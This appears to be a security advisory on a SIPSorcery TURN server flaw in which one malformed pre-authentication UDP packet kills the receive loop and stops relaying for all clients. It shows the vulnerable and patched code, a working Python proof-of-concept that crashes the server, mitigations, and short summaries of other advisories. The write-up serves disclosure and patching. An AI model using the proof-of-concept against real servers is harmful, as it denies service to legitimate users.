Aug 12, 2026·6 min read·7 visits
A single malformed pre-authentication UDP packet crashes the SIPSorcery TURN server's fire-and-forget receive thread, disabling UDP relaying for all clients until manual restart.
An uncaught exception vulnerability exists in SIPSorcery's TurnServer component, where unauthenticated malformed UDP packets can crash the core UDP receive loop, resulting in a persistent Denial of Service.
The SIPSorcery real-time communication library offers a full-featured implementation of network protocols such as SIP, WebRTC, STUN, and TURN. Within this ecosystem, the TurnServer component plays a critical role in bridging firewall-restricted endpoints by relaying media traffic under the RFC 5766 TURN specification.
Because the TURN server must process incoming packets from arbitrary external clients prior to any cryptographic validation or user authentication, its receive ports are exposed to untrusted network traffic. This exposure presents an extensive attack surface since the parsing engine must decode highly structured STUN and TURN packets before identifying the sender.
This vulnerability is classified under CWE-248 (Uncaught Exception) and CWE-755 (Improper Handling of Exceptional Conditions). The flaw lies in the structural logic of the server's UDP packet processing loop, which fails to isolate downstream parsing exceptions from the socket reading thread. Consequently, any parsing failure terminates the entire receive pipeline.
The root cause of this vulnerability is the placement of exception handlers in the ReceiveUdpAsync() method inside src/SIPSorcery/net/TURN/TurnServer.cs. The receive loop uses a while loop that listens for incoming UDP datagrams using the asynchronous .ReceiveAsync() call. While specific socket-level exceptions like ObjectDisposedException and SocketException are caught inside the loop, the actual data processing function, HandleUdpDatagram(), is executed outside of any inner try-catch block.
If HandleUdpDatagram() throws an exception, the call stack unwinds past the while loop. The exception is caught only by a generic catch-all block located at the method's outermost scope. Once this outer catch block executes, the ReceiveUdpAsync() task exits permanently.
The exception can be triggered by sending a payload that fails validation in STUNHeader.ParseSTUNHeader(). If the first byte of an unauthenticated packet has its upper two bits set, the check (Array[startIndex] & 0xC0) != 0 evaluates to true, throwing an ApplicationException. Alternatively, if the packet is too short to contain a valid header, a NullReferenceException is thrown when accessing the unparsed header, which similarly crashes the loop.
The vulnerable implementation in src/SIPSorcery/net/TURN/TurnServer.cs ran the packet processing logic nakedly inside the execution loop:
private async Task ReceiveUdpAsync()
{
try
{
while (_running)
{
UdpReceiveResult result;
try
{
result = await _udpSocket.ReceiveAsync().ConfigureAwait(false);
}
catch (ObjectDisposedException) { break; }
catch (SocketException) { break; }
// VULNERABILITY: This execution call is unprotected.
// Any parser error throws an exception that escapes the while loop.
HandleUdpDatagram(result.Buffer, result.RemoteEndPoint);
}
}
catch (Exception ex)
{
logger.LogError(ex, "Exception in TurnServer ReceiveUdpAsync.");
}
}To remediate this, the patch introduces a nested try-catch block inside the while loop. This isolation prevents application-level exceptions from propagating to the thread-level scope, keeping the loop functional:
// PATCHED: Processing is wrapped in a localized exception filter.
try
{
HandleUdpDatagram(result.Buffer, result.RemoteEndPoint);
}
catch (Exception datagramExcp)
{
logger.LogWarning(datagramExcp, "TURN server dropped a UDP datagram from {Remote} that could not be processed.",
result.RemoteEndPoint);
}This structural modification ensures that any exceptional execution state encountered while processing a malformed packet is logged and discarded, allowing the server to safely resume listening on the socket.
An unauthenticated remote attacker can exploit this flaw by sending a single, malformed UDP datagram to the target TURN server. Because the vulnerability lies in the initial pre-authentication decoding step, no valid credentials or active sessions are needed to trigger the crash.
The attack is highly reliable and requires sending a 4-byte payload. For example, sending a packet starting with \x80 bypasses the initial TURN ChannelData checks and forces the parser to process it as a STUN message. This immediately triggers the path validation failure in ParseSTUNHeader(), culminating in the thread's termination.
import socket
import sys
def crash_turn(ip, port):
# First byte 0x80 triggers the logic check failure
payload = b"\x80\x00\x00\x00"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
sock.sendto(payload, (ip, port))
print(f"[*] Malformed packet sent to {ip}:{port}")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == '__main__':
crash_turn(sys.argv[1], int(sys.argv[2]))Following the delivery of this payload, the listening socket remains open in the operating system's netstat output, but the user-mode background worker thread is dead. The OS queue will eventually fill, discarding all subsequent valid TURN traffic and denying relay services to legitimate users.
This vulnerability has an immediate and complete impact on the availability of the TURN relay service. Because SIPSorcery spawns the UDP listening thread as a fire-and-forget background task using _ = ReceiveUdpAsync(), there is no process supervisor, watch-dog timer, or automatic restart logic to revive the thread.
When the receive loop crashes, all active media streams traversing the TURN server are immediately interrupted, and no new connections can be established. This causes a complete Denial of Service across the entire deployment. Legitimate clients attempting to connect will experience time-out failures, rendering the application stack inoperable until a system administrator manually restarts the hosting application.
The vulnerability is assigned a CVSS v3.1 score of 7.5 (High), reflecting a high availability impact accessible via the network layer without privileges or user interaction. Due to the simple nature of the exploit payload, scripting and automation of this attack vector are straightforward.
The primary remediation for this vulnerability is to upgrade the SIPSorcery NuGet package dependency to version 10.0.14 or later. This release addresses the vulnerability by wrapping the UDP and TCP processing calls inside localized exception boundaries.
If an immediate upgrade is not feasible, administrators should enforce strict IP-based firewall filtering to restrict access to the TURN port (default 3478). Only trusted peers and clients should be permitted to interact with the socket.
Deploying the SIPSorcery application within a containerized orchestrator like Kubernetes with active health and liveness probes is also recommended. If the TURN server ceases to respond to ping or validation requests, the orchestrator can automatically restart the container, reducing the duration of any potential outage.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
SIPSorcery SIPSorcery | >= 10.0.5, <= 10.0.13 | 10.0.14 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-248 |
| Attack Vector | Network |
| CVSS | 7.5 (High) |
| Exploit Status | PoC Released |
| Impact | Complete Denial of Service |
An application does not catch an exception thrown during a process, resulting in thread or process termination.
CVE-2026-9318 is a stored cross-site scripting (XSS) vulnerability affecting Jazzband tablib versions prior to 3.10.0. The flaw is located in the HTML export functionality of multi-sheet Databook objects. Due to raw f-string interpolation, unsanitized sheet titles containing malicious script tags are rendered directly as HTML, allowing arbitrary client-side code execution in a victim's browser.
CVE-2026-54917 is a critical path traversal and authorization bypass vulnerability affecting the S3 and Iceberg REST catalog gateways in SeaweedFS. By explicitly disabling canonical path cleaning in the gorilla/mux routing system, relative path segments such as '..' are allowed to bypass routing constraints and access control checks. When these paths are collapsed server-side by the backend filer, they resolve to folders outside the authorized bucket boundary, allowing unauthorized cross-bucket access.
An out-of-bounds read vulnerability in the SCTP SACK chunk parser of SIPSorcery leads to Denial of Service (DoS) or silent internal state corruption due to lack of boundary validation on incoming chunk elements.
A critical use-after-free vulnerability in Microsoft QUIC allows unauthenticated remote attackers to disclose sensitive system memory over the network. The vulnerability is caused by a race condition during rapid connection termination and asynchronous packet retransmission.
CVE-2026-62899 is a security feature bypass vulnerability in the Microsoft .NET runtime environment on non-Windows platforms. The flaw manifests as an HTTP Request/Response Smuggling vulnerability (CWE-444) within the managed implementation of the System.Net.HttpListener class. This allows unauthenticated remote attackers to desynchronize request boundaries when the backend .NET application is hosted behind an upstream reverse proxy.
CVE-2026-62901 is a high-severity Denial of Service (DoS) vulnerability in the Microsoft .NET ecosystem, specifically affecting the System.Net.WebSockets frame-processing engine and associated network transports. Under certain circumstances, a remote, unauthenticated attacker can exploit this vulnerability by sending malformed or specifically crafted WebSocket packets over the network, causing a targeted .NET application server to enter a tight infinite loop. This behavior results in 100% CPU utilization on the executing thread, starving application resources and leading to a complete Denial of Service.